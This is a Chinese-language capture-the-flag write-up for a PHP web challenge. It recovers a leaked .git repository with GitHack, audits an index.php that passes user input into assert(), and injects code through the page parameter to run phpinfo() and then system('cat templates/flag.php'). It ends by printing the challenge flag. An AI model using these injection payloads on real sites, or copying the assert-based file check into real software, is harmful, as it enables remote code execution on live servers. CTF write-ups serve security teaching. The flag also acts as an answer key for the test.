打开题目,让我们看看about这个链接是什么,我们看到了这个

 

 他说他写这个站点用了git、php、bootstrap这很容易就能让我们想到,git源码泄露,这我们直接掏出githack,

python GitHack.py http://220.249.52.133:46599/.git        

  运行完之后,我们就可以在GitHack文件中的dist中看到站点

 

 我们先看下文件,templates中有

四个文件,其中有flag.php但是打开不是flag,于是我们打开index.php

源码审计一波

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

  asser()函数会将读入的代码当作php执行

我们先捋一下思路:

我们首先绕过assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”);

我们先将strpos闭合,然后将后面的语句’..’)===false”) or die (“Detected hacking attempt!”)注释掉

然后构造payload:?page=’.phpinfo();//然后有回显

 

 既然phpinfo()函数都可以执行,那我们将phpinfo();//

因为我们有源码,所以我们直接构造payload: ?page=’).system(“cat templates/flag.php”);//

查看源码我们获得flag

 

 

cyberpeace{8a17fc536dec4eb9fccf94c75e4e25e8}

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